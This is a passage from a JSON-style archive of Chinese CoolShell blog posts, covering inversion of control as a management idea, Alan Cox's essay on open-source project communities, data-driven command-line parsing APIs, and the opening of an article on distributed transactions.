依赖于各种账号体系的代码。其实，一个依赖倒置和反转控制就很简单。开发一个权限体系标准，让接入方的账号系统反过来依赖并控制这个标准的权限系统，从而做出一个干净的系统。\n\n\n3）还有一个云平台中的管理模式，一些底层服务的开发团队只管开发底层的技术，然后什么也不管了，就交给上层的开发人员，在底层团队的开发出来的产品上面开发各种管理这个底层资源的东西，比如：生产底层资源的业务，底层资源的控制台，底层资源的监控系统。这个让底层团队只干纯技术，不干与底层技术无关的东西，看似很科学，其实是做错了。因为，上层为各个云资源控制生产，开发控制台和监控的团队，随着接入的资源的越来越多，完全干不过来了，苦逼得一塌糊涂，因为底层的资源千差百怪，每接一个就要开发一堆这个产品的代码。这个时候依赖倒置和反转控制又可以解决问题了。很简单，上层为各个云资源控制生产，开发控制台，和监控的团队应该制定一个标准，让底层的IaaS云资源开发团队反过来依赖这个标准，统一接入方式，如果开发的云资源不符我的生产控制模型，没有控制台，不把监控数据喂入我的监控系统，对不起，请不要接入我这个PaaS平台。\n\n\n4）一个集中式的处理电子商务中的订单的流程。各个垂直业务线都需要通过这个平台来处理自己的交易业务，但是垂直业务线上的个性化需求太多。于是，这个技术平台开始出现了黑魔法——“为了害怕改变数据库表结构，不得不在数据库中预留一些字段，里面存把业务方的个性化字段存成如JSON这样的东西”，并为之自豪认为可以快速解决业务问题（WTF）。然而，恶梦并没就此结束，管理这个技术平台的小组开始发现，对来自各个业务方的需求应接不暇，各种变态需求严重干扰系统，各种技术决定越来越不好做，导致需求排期排不过来。于是，不单单得到了各个业务方的各种抱怨，最可怕的是还有高层老大们压过来的Deadline，加班加点，苦逼之极，最后业务方自己要去一个自己的平台。为什么不用依赖倒置和反转控制的思想呢？开发一个插件模型、工作流引擎和Pub/Sub系统，让业务方的个性化需求可以以插件的方式插入我的订单流程中，业务方自的数据存在自己的库中，业务逻辑也不要侵入我的系统，并可以使用工作流引擎或Pub/Sub的协义标准来自己定义工作流的各个步骤（甚至把工作流引擎的各个步骤的Decider交给各个业务方自行处理）。让各个业务方来依赖于我的标准插件和工作流接口，反转迭控制，让他们来控制我的系统，依赖倒置，让他们来依赖我的标准。（这个团队想过把自己的系统内部开源出去让别的团队也进来参与，可以是可以，但一定要用Linux/Git这种方式，允许出现多个分支，多个发行版。但多个版本又造成了多个业务平台，这会上上层垂直业务不知所措）\n\n\n5）看过《[SteveY对Amazon和Google平台的吐槽](https://coolshell.cn/articles/5701.html \"SteveY对Amazon和Google平台的吐槽 - 67,710 人阅读\")》的人都知道，Amazon内部系统的SOA架构（这个SOA架构离IBM定义的那个非常变态的SOA还有一定距离），但是这基本上都是依赖倒置和控制反转的思路了—— **与其让我来帮你实现你的业务逻辑，不如把我的业务逻辑开放成服务的方式让你来控制**。\n\n\n6）再说一个我在Amazon经历的例子。有一个项目是在给Amazon的各个商区（Marketplace）做国际出口的业务，我们先把Media类的产品（书，DVD之类的）做国际出口开放，项目不难，就是让商家同意一个法律协议（上传自己的签名），然后后台小改一下。美国的，欧洲的做的都没有问题，物流团队在出口报关单上打的都是Amazon仓库的地址和商家的签名（本来这就是错的，打的应该是商家的地址和商家的签名），但是到了日本，就出了问题，因为日本海关即要日文信息，也要商家的英文名和英文地址，而我们的系统里面只有商家的日文信息。本来，这是一个挺简单的事——数据库里加两个字段，在那个同意条款的网页上收集一下商家的英文名和地址，然后把这些信息传给后面的物流团队。物流团队一看这个，发现搞不了，因为他还要传给仓库，N多的地方都要加这两个字段，还要写下各种if (site == JP)这样的判断。物流团队不蛮干，重新设计自己的系统。做一个Document Template的东西，这个就是那个那个要贴在物流盒子上的单子。再也不让各个业务团队把那些信息传过来，而是把这个Document Template的东西传给上面的业务方，他们想怎么写就怎么写， 写完后，把这个东西传回来。于是，大家依赖了一个标准的协议，而不是一其字段。（当然，这个改动过多，为此改了半年多，不过非常值）\n\n\n所以说啊，在跨团队的工作中，\n\n\n* 如果依赖和控制的东西过多了，就需要制定标准，倒置依赖，反转控制。\n\n\n* 控制欲望最好不要太强，不要想着能干所有的事情，要学会控制反转和依赖倒置原则。否则只会引火烧身。\n\n\n* 反转控制和依赖倒置是一种智慧。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![从Gitlab误删除数据库想到的](../wp-content/uploads/2017/02/gitlab-600-150x150.jpg)](https://coolshell.cn/articles/17680.html)[从Gitlab误删除数据库想到的](https://coolshell.cn/articles/17680.html)\n* [![关于高可用的系统](../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png)](https://coolshell.cn/articles/17459.html)[关于高可用的系统](https://coolshell.cn/articles/17459.html)\n* [![从面向对象的设计模式看软件设计](../wp-content/uploads/2013/01/kiss-150x150.png)](https://coolshell.cn/articles/8961.html)[从面向对象的设计模式看软件设计](https://coolshell.cn/articles/8961.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/6950.html)[需求变化与IoC](https://coolshell.cn/articles/6950.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/6775.html)[Bret Victor – Inventing on Principle](https://coolshell.cn/articles/6775.html)\nThe post [IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-7-8 Alan Cox：大教堂、市集与市议会.md",
    "content": "---\nlayout: post\ntitle: Alan Cox：大教堂、市集与市议会\ndate: 2013/7/8/ 7:42:27\nupdated: 2013/7/8/ 7:42:27\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢网友**[**@我的上铺叫路遥**](http://weibo.com/fullofbull)**投稿）**\n\n\n在网上搜到的Cox大叔于1998年在开源社区写的一篇文章，当时很轰动，明眼人一看就知道是针对ESR那篇《大教堂与市集》，从中可见Alan在项目管理风格上乃至个人性格上都与ESR、Linus等人不同之处。顺便说一句，Alan现在出于“家庭原因”已经离开了Linux项目，他曾经评价Linus是[a good developer but a terrible engineer](http://apolyton.net/showthread.php/130212-Linus-Torvalds-is-a-terrible-engineer-Alan-Cox)，甚至在Google+上直接说Linus就是一a\\*sh\\*\\*e。不管如何，两位曾经十余年里并肩战斗惺惺相惜的大牛就此分道扬镳还是惹人唏嘘。\n\n\n言归正传，以下为slashdot收录的英文原文：[Cathedrals, Bazaars and the Town Council](http://news.slashdot.org/story/98/10/13/1423253/featurecathedrals-bazaars-and-the-town-council)。\n\n\n以下是一些我对市集模式的想法，我认为这值得分享，这种模式会教你如何完全毁掉一个自由软件项目。我还举了一个我称之为“市议会”(Town Council)效应的实例（虽然那些市议员们可不这么认为，注：此处指Linux项目开发者）。\n\n\n关于软件开发人员，你必须去了解一些情况。首先要了解的是真正优秀的程序员相对来说并不普遍，不仅如此，在很多其它专业领域里“真正的程序员”和一些捣乱的家伙之间的区别要比“伟大”和“普通”之间的区别要大得多，研究表明生产效率上最好的同其余的比重是30:1。\n\n\n其次，你需要了解的是一大堆妄想型码农(wannabe programmer)总是善于发表意见。其中很多人患上了一种叫做“流行性热词”(buzzword)疾病，或者对他们“非黑即白”(one true path)的思考方式有着特殊的偏执，网上很多讨论都是廉价的。\n\n\n\n第三个关于软件项目的事情就是我们所谓的“闲杂人员”(the masses)。他们不是编程人员，而在其它方面有着大量贡献——文档编辑、用户支持，以及对那类经常争论你应该获得许可证才能上网的人的说服工作。\n\n\n我想以Linux 8086（注，Intel设计的16位处理器架构）为例来说明如何将整个工程全部搞砸。将Linux的一个子集移植到8086上大体是这世上最无聊的活动之一。整件事的发起就像个笑话并走向失控。\n\n\n只有极少数真正的程序员会将时间及其良好的精神状态（或许那是假的）花费在那些唯一价值在于“黑客精神”(Hack Value)的项目上，故而在任何时候那种项目也就两三个核心贡献人员而已。\n\n\n不幸的是大批人认为将Linux运行在8086上是干净的，为此义不容辞地想要“入伙”。这类人大多属于妄想型码农之流，以至于连闲杂人员在一个安全距离之外都会沾染上这个项目的“愚蠢”因子。\n\n\n问题的导火索在于一大批充满（大多善意的）危险的一知半解的人们的意识观念——不是代码，而是意识观念。他们似乎很懂得如何去编程，但很多人连“Hello World”这样的C程序都不会。他们花了几星期时间去争论并投票该使用什么编译器，甚至在项目开展一年后还在争论是否去写个充分完美的编译器。他们热衷于辩论如何生成大量二进制文件，却又对内核swapper（注，即idle task）设计一无所知。\n\n\nLinux 8086项目仍然进行着，真正的开发人员将邮件列表里许多其他成员加入到清除文件(kill files)中，以便他们之间可以顺畅地通过邮件列表沟通，只因半吊子打酱油的家伙实在太多了。这一切不再是市集模式，而是形成了一个核心小组，对圈子里许多人而言这是一种礼貌用语。在这种情形下人们不可避免地处于被动位置。\n\n\n像Linux这种基于用户/程序员的项目成长缓慢，虽然它是靠着一群贡献代码的人得以成长起来，但这些人的背景要么是从原始的Minix（注，一种微内核操作系统）黑客社区起家，要么通过艰难的方式不断从头学起。随着项目增长，人们本应该形成一个“Linux内核结构规划管理委员会”，而不是掉入将人们招来唤去，不将失败视为问题的怪圈，用Linus的话来说就是“给我看源码”。\n\n\n如果有人陷入困境，他可以发帖询问，在这之前包括现在很大程度上都基于人们正常地拥有时间并具备知识来回复他。在Linux 8086的案例中，开发人员很长一段时间身陷囹圄。假使主动活跃的程序员对只有潜在用处的妄想型码农的比例更高一点的话，我们就可以将一些杂音转化成生产力。项目也就获得更多有用的程序员，他们可以轮流向他人传授经验，任何学习活动都会让你变得更好，哪怕只有一些少量实习生。\n\n\n一些人会认为你无法将那些“次要程序员”(lesser programmer)训练成真正的程序员。就Linux项目的个人经验而言，很多人员只要获得一丁点儿的帮助和自信鼓励都将成为世界上最好的开发人员之一。只要帮助和鼓励足够多，很多人就能成功。\n\n\nLinux 8086总算大部分从“侵扰”中恢复过来，可至今仍是个不起眼的小项目。你可以从CVS目录树上下载这个由Alistair Riddich领导的项目，他做了很多优秀的工作。随着市议员的撤出，人们可以询问、参与并改善这个项目。\n\n\n我们从这个项目，还有其它相同命运的早期Linux 16位处理器项目（有的已死）中很清楚地学到以下几点教训。\n\n\n* 从项目一开始就发布源代码。哪怕不是很有用也无关紧要，将市议会排序分类的最好方式就是发布源代码并告知人们。Linux、KDE以及GNOME都遵循这种方式并获益良多。你可以花一辈子时间去争论怎样写代码才是正确的。只要代码公布，人们（不管水平怎样）都会把玩它。\n\n\n* 要欣赏那些给一点帮助就会对项目做出巨大贡献的人。如果他们最初的补丁有错误，不要盛气凌人，向其解释问题出在哪里并给出解决方案的建议，或者可以查询解决方法的地方。解答真正的问题，帮助别人，你所花费的一分一秒都会成十倍地回报在项目上，对社会也会带来无法估量的好处。[注]\n\n\n* 不要忘记那些非开发人员。我难过地发现许多人问起“前5名最重要的内核成员”时却极少涉及在所有人中最重要的一些——他们负责维护网站，更新日志和邮件列表，还有编辑文档，这些都是同等重要。  \n\nLinus那句“给我看源代码”对真正的项目来说是个狭隘的视角。当你听到人们说“我很想帮忙，可我不会编程”，那么他可以从事文档编写。当人们说“但英语不是我的第一语言”，这时你需要的是一位文档编辑或另一门语言翻译者。\n\n\n* 尝试将有用的人从杂音中分离出来，将有意愿帮忙的人从一大堆无聊评论中分离出来是很难的。在Linux 8086项目中我的确错误地放弃了这一目标，如何将那些只会空谈而又无所事事的人弄走是一门学问。\n\n\n下次碰到人们在项目上投票，或者问题讨论了一个月才实现这类情况，给予他们警告。这样才能使人正确地解决问题。在你看来如果一些稀奇古怪的事务不顾一切地运行着，要求他们给你发个补丁，只要能够生效的话。\n\n\n小心地说“我们应该怎样”之类的话，对“我该如何做”这样的人伸出援手。\n\n\nAlan\n\n\n[注]这段话举个例子说明一下。Linux IPv6源码作者以前在葡萄牙上网聊天，只会简单讨论和问一些基本问题。我们助其弄明白一些内核原理之后，他写了大约75%的IPv6协议栈代码，他最近受聘于美国思科公司。\n\n\n附录一：一篇针对本文的[吐槽贴](http://tech.groups.yahoo.com/group/java-os-project/message/2358?var=1&p=1)\n\n\n附录二：2009年Cox回复Torvalds的[邮件](https://lkml.org/lkml/2009/7/28/375)，事情起因是Cox的一个tty patch导致[kdesu(KDE project’s su utility)](https://lkml.org/lkml/2009/7/11/125)程序无法工作，该问题争论长达两个星期，此后Alan离开了Linux项目投奔Intel。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Alan Cox：单向链表中prev指针的妙用](../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg)](https://coolshell.cn/articles/9859.html)[Alan Cox：单向链表中prev指针的妙用](https://coolshell.cn/articles/9859.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [![Unix传奇(上篇)](../wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg)](https://coolshell.cn/articles/2322.html)[Unix传奇(上篇)](https://coolshell.cn/articles/2322.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/1278.html)[Linus Torvalds 语录 Top 10](https://coolshell.cn/articles/1278.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\nThe post [Alan Cox：大教堂、市集与市议会](https://coolshell.cn/articles/9917.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-8-9 数据即代码：元驱动编程.md",
    "content": "---\nlayout: post\ntitle: 数据即代码：元驱动编程\ndate: 2013/8/9/ 2:18:31\nupdated: 2013/8/9/ 2:18:31\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢 [@文艺复兴记](http://weibo.com/weidagang)（todd） 投递此文）**\n\n\n几个小伙伴在考虑下面这个各个语言都会遇到的问题：\n\n\n**问题：设计一个命令行参数解析API**\n\n\n一个好的命令行参数解析库一般涉及到这几个常见的方面：\n\n\n1) 支持方便地生成帮助信息\n\n\n2) 支持子命令，比如：git包含了push, pull, commit等多种子命令\n\n\n3) 支持单字符选项、多字符选项、标志选项、参数选项等多种选项和位置参数\n\n\n4) 支持选项默认值，比如：–port选项若未指定认为5037\n\n\n5) 支持使用模式，比如：tar命令的-c和-x是互斥选项，属于不同的使用模式\n\n\n经过一番考察，小伙伴们发现了这个几个有代表性的API设计：\n\n\n**1. getopt()：**\n\n\n[getopt()](http://www.gnu.org/software/libc/manual/html_node/Getopt.html)是libc的标准函数，很多语言中都能找到它的移植版本。\n\n\n\n\n```\n\n//C\nwhile ((c = getopt(argc, argv, \"ac:d:\")) != -1) {\n    int this_option_optind = optind ? optind : 1;\n    switch (c) {\n    case 'a':\n        printf (\"option a\");\n        aopt = 1;\n        break;\n    case 'c':\n        printf (\"option c with value '%s'\", optarg);\n        copt = optarg;\n        break;\n    case 'd':\n        printf (\"option d with value '%s'\", optarg);\n        dopt = optarg;\n        break;\n    case '?':\n        break;\n    default:\n        printf (\"?? getopt returned character code 0%o ??\", c);\n    }\n}\n\n```\n\ngetopt()的核心是一个类似printf的格式字符串的命令行参数描述串，如上面的”ac:d:”定义了”a”, “c”，”d”3个命令行参数，其中，a是一个标志符不需要参数，”c”和”d”需要跟参数。getopt()功能非常弱，只支持单个字符的标志选项和参数选项。如果按上面的5点来比对，基本上只能说是勉强支持第3点，其他几项只能靠程序自己来实现了，所以，想直接基于getopt()实现一个像git这样复杂的命令行参数是不可能的，只有自己来做很多的解析工作。小伙伴们看过getopt()之后一致的评价是:图样图森破。\n\n\n**2. Google gflags**\n\n\n接着，小伙伴们又发现了[gflags](https://code.google.com/p/gflags/)这个Google出品C++命令行参数解析库。\n\n\n\n```\n\n//C++\nDEFINE_bool(memory_pool, false, \"If use memory pool\");\nDEFINE_bool(daemon, true, \"If started as daemon\");\nDEFINE_string(module_id, \"\", \"Server module id\");\nDEFINE_int32(http_port, 80, \"HTTP listen port\");\nDEFINE_int32(https_port, 443, \"HTTPS listen port\");\n\nint main(int argc, char** argv) {\n    ::google::ParseCommandLineFlags(&argc, &argv, true);\n\n    printf(\"Server module id: %s\", FLAGS_module_id.c_str());\n\n    if (FLAGS_daemon) {\n      printf(\"Run as daemon: %d\", FLAGS_daemon);\n    }\n    if (FLAGS_memory_pool) {\n      printf(\"Use memory pool: %d\", FLAGS_daemon);\n    }\n\n    Server server;\n\n    return 0;\n}\n\n```\n\n小伙伴们看了后不由得感叹“真心好用啊”！的确，gflags简单地通过几个宏就定义了命令行选项，基本上很好的支持了上面提到的1，3，4这几项，比起getopt()来强多了。对于类似cp这样的小命令，gflags应该是够用了，但要达到git这种级别就显得有些单薄了。\n\n\n**3. Ruby Commander**\n\n\n接下来小伙伴们又发现了Ruby Commander库：\n\n\n\n```\n\n//Ruby\n# :name is optional, otherwise uses the basename of this executable\nprogram :name, 'Foo Bar'\nprogram :version, '1.0.0'\nprogram :description, 'Stupid command that prints foo or bar.'\ncommand :bar do |c|\n  c.syntax = 'foobar bar [options]'\n  c.description = 'Display bar with optional prefix and suffix'\n  c.option '--prefix STRING', String, 'Adds a prefix to bar'\n  c.option '--suffix STRING', String, 'Adds a suffix to bar'\n  c.action do |args, options|\n    options.default :prefix => '(', :suffix => ')'\n    say \"#{options.prefix}bar#{options.suffix}\"\n  end\nend\n$ foobar bar\n# => (bar)\n$ foobar bar --suffix '}' --prefix '{'\n# => {bar}\n\n```\n\nCommander库利用Ruby酷炫的语法定义了一种描述命令行参数的内部DSL，看起来相当高端大气上档次。除了上面的第5项之外，其他几项都有很好的支持，可以说Commander库的设计基本达到了git这种级别命令行参数解析的要求。只是，要搞懂Ruby这么炫的语法和这个库的使用方法恐怕就不如getopt()和gflags容易了。有小伙伴当场表示想要学习Ruby，但是也有小伙伴表示再看看其他库再说。\n\n\n**4. Lisp cmdline库**\n\n\n接下来，小伙伴们发现了Lisp方言Racket的[cmdline库](http://docs.racket-lang.org/reference/Command-Line_Parsing.html)。\n\n\n\n```\n\n//Lisp\n(parse-command-line \"compile\" (current-command-line-arguments)\n  `((once-each\n     [(\"-v\" \"--verbose\")\n      ,(lambda (flag) (verbose-mode #t))\n      (\"Compile with verbose messages\")]\n     [(\"-p\" \"--profile\")\n      ,(lambda (flag) (profiling-on #t))\n      (\"Compile with profiling\")])\n    (once-any\n     [(\"-o\" \"--optimize-1\")\n      ,(lambda (flag) (optimize-level 1))\n      (\"Compile with optimization level 1\")]\n     [(\"--optimize-2\")\n      ,(lambda (flag) (optimize-level 2))\n      ((\"Compile with optimization level 2,\"\n        \"which implies all optimizations of level 1\"))])\n    (multi\n     [(\"-l\" \"--link-flags\")\n      ,(lambda (flag lf) (link-flags (cons lf (link-flags))))\n      (\"Add a flag <lf> for the linker\" \"lf\")]))\n   (lambda (flag-accum file) file)\n   '(\"filename\"))\n\n```\n\n这是神马浮云啊?括号套括号，看起来很厉害的样子，但又不是很明白。看到这样的设计，有的小伙伴连评价都懒得评价了，但也有的小伙伴对Lisp越发崇拜，表示Lisp就是所谓的终极语言了，没有哪门语言能写出这么不明觉历的代码来！小伙伴们正准备打完收工，突然…\n\n\n**5. Node.js的LineParser库**\n\n\n发现了Node.js的[LineParser库](https://github.com/weidagang/line-parser-js):\n\n\n[javascript]  \n\n//JavaScript  \n\nvar meta = {  \n\n program : ‘adb’,  \n\n name : ‘Android Debug Bridge’,  \n\n version : ‘1.0.3’,  \n\n subcommands : [ ‘connect’, ‘disconnect’, ‘install’ ],  \n\n options : {  \n\n flags : [  \n\n [ ‘h’, ‘help’, ‘print program usage’ ],  \n\n [ ‘r’, ‘reinstall’, ‘reinstall package’ ],  \n\n [ ‘l’, ‘localhost’, ‘localhost’ ]  \n\n ],  \n\n parameters : [  \n\n [ null, ‘host’, ‘adb server hostname or IP address’, null ],  \n\n [ ‘p’, ‘port’, ‘adb server port’, 5037 ]  \n\n ]  \n\n },  \n\n usages : [  \n\n [ ‘connect’, [‘host’, ‘[port]’], null, ‘connect to adb server’, adb\\_connect ],  \n\n [ ‘connect’, [ ‘l’ ], null, ‘connect to the local adb server’, adb\\_connect ],  \n\n [ ‘disconnect’, null, null, ‘disconnect from adb server’, adb\\_disconnect ],  \n\n [ ‘install’, [‘r’], [‘package’], ‘install package’, adb\\_install ],  \n\n [ null, [‘h’], null, ‘help’, adb\\_help ],  \n\n ]  \n\n};\n\n\ntry {  \n\n var lineparser = require(‘lineparser’);  \n\n var parser = lineparser.init(meta);  \n\n // adb\\_install will be invoked  \n\n parser.parse([‘install’, ‘-r’, ‘/pkgs/bird.apk’]);  \n\n}  \n\ncatch (e) {  \n\n console.error(e);  \n\n}  \n\n[/javascript]\n\n\n天啊！？这是什么？我和小伙伴们彻底惊呆了！短短十几行代码就获得了上面5点的全面支持，重要的是小伙伴们居然一下子就看懂了，没有任何的遮遮掩掩和故弄玄虚。本来以为Ruby和Lisp很酷，小伙伴们都想马上去学Ruby和Lisp了，看到这个代码之后怎么感觉前面全是在装呢？有个小伙伴居然激动得哭着表示：我写代码多年，以为再也没有什么代码可以让我感动，没想到这段代码如此精妙，我不由得要赞叹了，实在是太漂亮了！\n\n\n小伙伴们的故事讲完了，您看懂了吗？如果没有看懂的话，正题开始了：\n\n\n在绝大多数语言中数据和代码可以说是泾渭分明，习惯C++、Java等主流语言的程序员很少去思考数据和代码之间的关系。与多数语言不同的是Lisp以“数据即代码，代码即数据”著称，Lisp用S表达式统一了数据和代码的形式而独树一帜。Lisp奇怪的S表达式和复杂的宏系统让许多人都感到Lisp很神秘，而多数Lisp教程要么强调函数式编程，要么鼓吹宏如何强大，反而掩盖了Lisp真正本质的东西，为此我曾写过一篇[《Lisp的永恒之道》](http://www.cnblogs.com/weidagang2046/archive/2012/06/03/tao_of_lisp.html)介绍Lisp思想。\n\n\n设计思想和具体技术的区别在于前者往往可以在不同的环境中以不同的形式展现出来。比如，熟悉函数式编程的程序员在理解了纯函数的优点后即使是用C语言也会更倾向于写出无副作用的函数来，这就是函数式思想在命令式环境的应用。所以，理解Lisp思想一定要能在非Lisp环境应用，才算是融汇贯通。\n\n\n如果真正理解了Lisp的本质，那所谓的“数据即代码，代码即数据”一点儿也不神秘，这不就是我们每天打交道的配置文件吗！？如果你还不是很理解的话，我们通过下面几个问题慢慢分析：\n\n\n1) 配置的本质是什么？为什么要在程序中使用配置文件？\n\n\n不知道你是否意识到了，我们每天都在使用的各种各样的**配置本质上是一种元数据也是一种DSL**，这和Lisp基于S表达式的“数据即代码，代码即数据”没有本质区别。在C++、Java等程序中引入配置文件的目的正是用DSL弥补通用语言表达能力和灵活性的不足。我知道不少人喜欢从计算的角度来看到程序和语言，似乎只有图灵完备的语言如C++、Java、Python等才叫程序设计语言，而类似CSS和HTML这样的东西根本不能叫做程序设计语言。其实，在我看来这种观点过于狭隘，**程序的本质是语义的表达**，而语义表达不一定要是计算。\n\n\n2) 配置是数据还是代码？\n\n\n很明显，Both!说配置是数据，因为它是声明式的描述，能方便地修改和传输；说配置是代码，因为它在表达逻辑，你的程序实际上就是配置的解释器。\n\n\n3) 配置的格式是什么？\n\n\n配置的格式是任意的，可以自己定义语法，只要配以相应的解释器就行。不过更简单通用的做法是基于XML、JSON、或S表达式等标准结构，在此之上进一步定义schema。甚至完全不必是文件，在我们的项目中配置经常是放到用关系数据库中的。另外，下面我们还会看到用语言的Literal数据作为配置。\n\n\n4) 业务逻辑都可以放到配置中吗？\n\n\n这个问题的答案显然是：Yes！我没有遇到过不可以放入配置的逻辑，只是问题在于这样做是否值得，能达到什么效果。对于需要灵活变化，重复出现，有复用价值的东西放入作为配置是明智的选择。这篇文章的主要目的就在于介绍把**主要业务逻辑都放到配置中，再通过程序解释执行配置的设计方法，我称之为：元驱动编程(Meta Driven Programming)**。\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5202.html)[对象的消息模型](https://coolshell.cn/articles/5202.html)\n* [![编程语言汽车](../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg)](https://coolshell.cn/articles/1839.html)[编程语言汽车](https://coolshell.cn/articles/1839.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/5709.html)[API设计：用流畅接口构造内部DSL](https://coolshell.cn/articles/5709.html)\nThe post [数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-1-20 分布式系统的事务处理.md",
    "content": "---\nlayout: post\ntitle: 分布式系统的事务处理\ndate: 2014/1/20/ 3:8:16\nupdated: 2014/1/20/ 3:8:16\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2014/01/trade-off.jpg)当我们在生产线上用一台服务器来提供数据服务的时候，我会遇到如下的两个问题：\n\n\n1）一台服务器的性能不足以提供足够的能力服务于所有的网络请求。\n\n\n2）我们总是害怕我们的这台服务器停机，造成服务不可用或是数据丢失。\n\n\n于是我们不得不对我们的服务器进行扩展，加入更多的机器来分担性能上的问题，以及来解决单点故障问题。 通常，我们会通过两种手段来扩展我们的数据服务：\n\n\n1）**数据分区**：就是把数据分块放在不同的服务器上（如：uid % 16，一致性哈希等）。\n\n\n2）**数据镜像**：让所有的服务器都有相同的数据，提供相当的服务。\n\n\n对于第一种情况，我们无法解决数据丢失的问题，单台服务器出问题时，会有部分数据丢失。所以，**数据服务的高可用性只能通过第二种方法来完成——数据的冗余存储**（一般工业界认为比较安全的备份数应该是3份，如：Hadoop和Dynamo）**。 但是，加入更多的机器，会让我们的数据服务变得很复杂，尤其是跨服务器的事务处理，也就是跨服务器的数据一致性**。这个是一个很难的问题。 让我们用最经典的Use Case：“A帐号向B帐号汇钱”来说明一下，熟悉RDBMS事务的都知道从帐号A到帐号B需要6个操作：\n\n\n1. 从A帐号中把余额读出来。\n2. 对A帐号做减法操作。\n3. 把结果写回A帐号中。\n4. 从B帐号中把余额读出来。\n5. 对B帐号做加法操作。\n6. 把结果写回B帐号中。\n\n\n为了数据的一致性，这6件事，要么都成功做完，要么都不成功，而且这个操作的过程中，对A、B帐号的其它访问必需锁死，所谓锁死就是要排除其它的读写操作，不然会有脏数据的问题，这就是事务。那么，我们在加入了更多的机器后，这个事情会变得复杂起来：\n\n\n\n1）**在数据分区的方案中**：如果A帐号和B帐号的数据不在同一台服务器上怎么办？我们需要一个跨机器的事务处理。也就是说，如果A的扣钱成功了，但B的加钱不成功，我们还要把A的操作给回滚回去。这在跨机器的情况下，就变得比较复杂了。\n\n\n2）**在数据镜像的方案中**：A帐号和B帐号间的汇款是可以在一台机器上完成的，但是别忘了我们有多台机器存在A帐号和B帐号的副本。如果对A帐号的汇钱有两个并发操作（要汇给B和C），这两个操作发生在不同的两台服务器上怎么办？也就是说，在数据镜像中，在不同的服务器上对同一个数据的写操作怎么保证其一致性，保证数据不冲突？\n\n\n同时，我们还要考虑性能的因素，如果不考虑性能的话，事务得到保证并不困难，系统慢一点就行了。除了考虑性能外，我们还要考虑可用性，也就是说，一台机器没了，数据不丢失，服务可由别的机器继续提供。 于是，我们需要重点考虑下面的这么几个情况：\n\n\n1）**容灾**：数据不丢、结点的Failover\n\n\n2）**数据的一致性**：事务处理\n\n\n3）**性能：吞吐量 、 响应时间**\n\n\n前面说过，要解决数据不丢，只能通过数据冗余的方法，就算是数据分区，每个区也需要进行数据冗余处理。这就是数据副本：当出现某个节点的数据丢失时可以从副本读到，数据副本是分布式系统解决数据丢失异常的唯一手段。所以，在这篇文章中，简单起见，我们只讨论在数据冗余情况下考虑数据的一致性和性能的问题。简单说来：\n\n\n**1）要想让数据有高可用性，就得写多份数据。**\n\n\n**2）写多份的问题会导致数据一致性的问题。**\n\n\n**3）数据一致性的问题又会引发性能问题**\n\n\n这就是软件开发，按下了葫芦起了瓢。\n\n\n#### 一致性模型\n\n\n说起数据一致性来说，简单说有三种类型（当然，如果细分的话，还有很多一致性模型，如：顺序一致性，FIFO一致性，会话一致性，单读一致性，单写一致性，但为了本文的简单易读，我只说下面三种）：\n\n\n1）**Weak 